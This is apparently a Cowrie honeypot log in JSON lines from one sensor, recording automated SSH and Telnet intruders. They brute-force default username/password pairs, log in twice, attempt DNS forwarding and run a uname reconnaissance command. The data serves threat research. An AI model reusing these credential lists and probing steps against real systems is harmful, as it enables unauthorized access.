{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:19.285426Z","src_ip":"87.251.64.176","session":"e8f67da7442c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:19.384692Z","session":"e8f67da7442c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:19.484029Z","src_ip":"87.251.64.176","session":"e8f67da7442c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:19.585756Z","src_ip":"87.251.64.176","session":"e8f67da7442c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49020,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eebf7098750","protocol":"ssh","message":"New connection: 45.153.34.114:49020 (159.203.135.109:22) [session: 7eebf7098750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:24.147105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:24.153106Z","src_ip":"45.153.34.114","session":"7eebf7098750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:24.244517Z","src_ip":"45.153.34.114","session":"7eebf7098750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user9","password":"user9","message":"login attempt [user9/user9] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:24.500648Z","src_ip":"45.153.34.114","session":"7eebf7098750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:25.587992Z","src_ip":"45.153.34.114","session":"7eebf7098750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.163684844970703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:27.301891Z","src_ip":"74.91.213.120","session":"ab9c6c849561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.243135929107666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:27.899554Z","src_ip":"74.91.213.120","session":"a4521a9e732c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47576880455017,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:28.075469Z","src_ip":"74.91.213.120","session":"d3db3b55c8b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45076,"dst_ip":"159.203.135.109","dst_port":22,"session":"c06a47a65dc9","protocol":"ssh","message":"New connection: 45.153.34.114:45076 (159.203.135.109:22) [session: c06a47a65dc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:31.707576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:31.712579Z","src_ip":"45.153.34.114","session":"c06a47a65dc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:31.829425Z","src_ip":"45.153.34.114","session":"c06a47a65dc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:32.091751Z","src_ip":"45.153.34.114","session":"c06a47a65dc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:33.178974Z","src_ip":"45.153.34.114","session":"c06a47a65dc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37398,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ec41b81c0a6","protocol":"ssh","message":"New connection: 45.153.34.114:37398 (159.203.135.109:22) [session: 6ec41b81c0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:39.991940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:39.997160Z","src_ip":"45.153.34.114","session":"6ec41b81c0a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:40.084566Z","src_ip":"45.153.34.114","session":"6ec41b81c0a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"zabbix","message":"login attempt [zabbix/zabbix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:40.340294Z","src_ip":"45.153.34.114","session":"6ec41b81c0a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.187.220","src_port":38112,"dst_ip":"159.203.135.109","dst_port":22,"session":"9899102769f7","protocol":"ssh","message":"New connection: 45.61.187.220:38112 (159.203.135.109:22) [session: 9899102769f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:40.491973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:40.501754Z","src_ip":"45.61.187.220","session":"9899102769f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:40.546177Z","src_ip":"45.61.187.220","session":"9899102769f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1123581321","message":"login attempt [root/1123581321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:40.776791Z","src_ip":"45.61.187.220","session":"9899102769f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:41.429003Z","src_ip":"45.153.34.114","session":"6ec41b81c0a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:41.829461Z","src_ip":"45.61.187.220","session":"9899102769f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37408,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c7afebbbe59","protocol":"ssh","message":"New connection: 45.153.34.114:37408 (159.203.135.109:22) [session: 8c7afebbbe59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:48.139949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:48.144984Z","src_ip":"45.153.34.114","session":"8c7afebbbe59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:48.237741Z","src_ip":"45.153.34.114","session":"8c7afebbbe59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:48.653183Z","src_ip":"45.153.34.114","session":"8c7afebbbe59","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:48.889757Z","src_ip":"45.153.34.114","session":"8c7afebbbe59","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:48.893049Z","src_ip":"45.153.34.114","session":"8c7afebbbe59","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:48.994768Z","src_ip":"45.153.34.114","session":"8c7afebbbe59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:48.999945Z","src_ip":"45.153.34.114","session":"8c7afebbbe59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":43620,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a5eba7ab4af","protocol":"telnet","message":"New connection: 74.91.213.120:43620 (159.203.135.109:23) [session: 5a5eba7ab4af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:50.635256Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58646,"dst_ip":"159.203.135.109","dst_port":22,"session":"f86f356500f0","protocol":"ssh","message":"New connection: 45.153.34.114:58646 (159.203.135.109:22) [session: f86f356500f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:55.961104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:55.966549Z","src_ip":"45.153.34.114","session":"f86f356500f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:56.052893Z","src_ip":"45.153.34.114","session":"f86f356500f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:56.397778Z","src_ip":"45.153.34.114","session":"f86f356500f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:57.487902Z","src_ip":"45.153.34.114","session":"f86f356500f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42134,"dst_ip":"159.203.135.109","dst_port":23,"session":"b32998f99576","protocol":"telnet","message":"New connection: 74.91.213.120:42134 (159.203.135.109:23) [session: b32998f99576]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:58.883553Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42144,"dst_ip":"159.203.135.109","dst_port":23,"session":"642b39dcd4ee","protocol":"telnet","message":"New connection: 74.91.213.120:42144 (159.203.135.109:23) [session: 642b39dcd4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:59.907533Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":42160,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5259ff8557e","protocol":"telnet","message":"New connection: 74.91.213.120:42160 (159.203.135.109:23) [session: d5259ff8557e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:47:59.978497Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33404,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6c563128e47","protocol":"ssh","message":"New connection: 45.153.34.114:33404 (159.203.135.109:22) [session: d6c563128e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:03.956668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:03.962208Z","src_ip":"45.153.34.114","session":"d6c563128e47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:04.046803Z","src_ip":"45.153.34.114","session":"d6c563128e47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:48:04.436478Z","src_ip":"45.153.34.114","session":"d6c563128e47","protocol":"ssh"}
